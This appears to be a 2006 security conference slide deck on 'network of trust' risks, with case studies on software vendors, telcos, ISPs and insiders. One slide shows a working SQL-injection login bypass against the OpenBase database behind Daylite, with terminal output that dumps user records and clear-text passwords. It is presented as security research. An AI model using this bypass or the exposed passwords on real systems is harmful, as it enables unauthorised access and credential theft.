





# Bellua Asia Pacific



## Hacking Trust



Security may seem but cannot be.

\* *William Shakespeare, "The Phoenix and The Turtle", 1601.*

*"Truth may seem, but cannot be:*

*Beauty brag, but 'tis not she;  
Truth and beauty buried be."*

**Anthony C. Zboralski**  
z@bellua.com

**Dave McKay**  
d@bellua.com




# *Hacking Trust; Security may seem but cannot be*

- Introduction
  - Anthony Zboralski <[z@bellua.com](mailto:z@bellua.com)>
  - Dave McKay <[d@bellua.com](mailto:d@bellua.com)>
- What is Trust?
  - 1. firm belief in the reliability, truth, ability, or strength of someone or something 2. acceptance of the truth of a statement without evidence or investigation
- What is a Network of Trust?
  - A network of trust consists of anything which interacts directly or indirectly with our target.
  - A good example is sharing a secret.



# Real Life Network of Trust





## Case Study: Software

- Compilers, Interpreters, IDS/IPS, Sendmail, SSH, FTP, E-Mail Clients, Databases, Instant Messengers, Games...
- Core Banking System; the accounts don't balance when the bank restricts vendor access
- Daylite and OpenBase remote authentication by-pass (0day)

<http://www.openbase.com.au/products-OBSQL-Features.html>

*“Enhanced Security: OpenBase SQL has undergone a security audit that has lead to improvements security in OpenBase 9.0.”*



SQL Injection ->  
-login "" or 1=1;"  
password is ignored  
and default user, admin  
is used.

```
acz@wolf.local: /Users/acz/projects/research/OpenBase — openisql
acz@wolf OpenBase $ /Library/OpenBase/bin/openisql -use rostraOFFLINE -login "" or 1=1;" -password qwerqwerqwerwq
OpenBase ISQL version 9.0 for MacOS X
Copyright (c) 1993-2005 OpenBase International. Ltd.
All Rights Reserved.

Using database 'rostraOFFLINE' on host 'qwerrqwe'
openbase 1> select * from _SYS_USERS;
openbase 2> go
Data returned... calculating column widths

 _rowid login      fullname      usergroup password      appSecurity authorizedAp
ps email smtpServer popPassword popLogin popServer
-----
1 admin      Administrator admin      JCAHBDGIFFGAHFB      0
2 DayLite   DayLite      admin      BCEICCAAECI          0

2 rows returned - 0.004 seconds (printed in 0.005 seconds)
openbase 1> █
```



A lame security hole in the underlying database give us access to daylite username and passwords ->

Daylite  
Clear-text Passwords ->

```
ac@wolf.local: /Users/acz/projects/research/OpenBase — openssl
All Rights Reserved.
Using database 'rostraOFFLINE' on host 'qwerrqwe'
openbase 1> select * from _SYS_USERS;
openbase 2> go
Data returned... calculating column widths
-----
_rowid login      fullname      usergroup password      appSecurity authorizedAp
ps email smtpServer popPassword popLogin popServer
-----
1 admin Administrator admin JCAHBDGIFFGAHFB 0
2 DayLite DayLite admin BCEICCAAEICI 0
-----
2 rows returned - 0.004 seconds (printed in 0.005 seconds)
openbase 1> select password from User;
openbase 2> go
Data returned... calculating column widths
password
-----
DayLite Admin
lveppqweday
notagoodpassword
c3ndr4w4s1h218
duasdibdeuco
-----
5 rows returned - 0.003 seconds (printed in 0.004 seconds)
openbase 1>
```



# Case Study: Financial Consultants

- Stockbrokers
  - Ivan Boesky, Michael Milken
  - Your Personal Broker
- Accountants & CFO
  - Enron
  - Worldcom
- Mergers and Acquisition
  - Who do you hack?
    - The Bankers
    - The Lawyers





## Case Study: Telcos

- “End to End” Frame-relay Links
- VSAT Networks
  - Why many banks all over Asia use VSAT connections in clear-text?
  - Substantial drop in performance when using IPSEC as it breaks some of transport flow optimization (TFO) features.
- The Effect of Convergence
  - GSM, SMS
  - SMS Banking
  - Value Added Services Partners
- Trusting the Backbone.
  - Wireless backup link of a Bank

# Captured ATM Transactions over Wireless

# CENSORED

You should have joined HITBSecConf 2006... If you really wanted to see this slide.

One year later, similar bank - similar problems...

# CENSORED

You should have joined HITBSecConf 2006... If you really wanted to see this slide.

# Do it Yourself: Reset and Approve your Credit Card Limit

# CENSORED

You should have joined HITBSecConf 2006... If you really wanted to see this slide.



# Case Study: Government Intelligence

- Soviet Union
  - December 25th, 1991
- China
  - Reverse Engineering
  - LANL
- NSA & FBI
  - Echelon
  - Carnivore







# Case Study: Internet Service Provider

- Hijacking the domain name of an Online Banking ASP
- Hacking the ISP to steal e-mails of a target using tunnelx
  - 1st occurrence: ISP replaced the target's cisco router
  - 2nd occurrence: ISP hides the real target
- MPLS
  - a “cost-effective” way to provide access, intranet and extranet VPN services.
- **Hotel ISP (live demo)**



# Case Study: Employees

- Corporate
  - Workers
  - Custodians
- Government
  - Background Checks
- Household
  - Maids
  - Au Pair and Babysitters
- Hackers
  - Consultants or Sociopaths?



## Conclusion

- Current largest threat remains your network of trust.
- Who killed Julius Caesar?
  - Betrayal always comes from the people you trust
- Your network of trust **MUST BE** included within the scope of your compliance check and regular security assessment
- Trust and Mistrust is a vicious circle





## Q&A

- Any Questions?

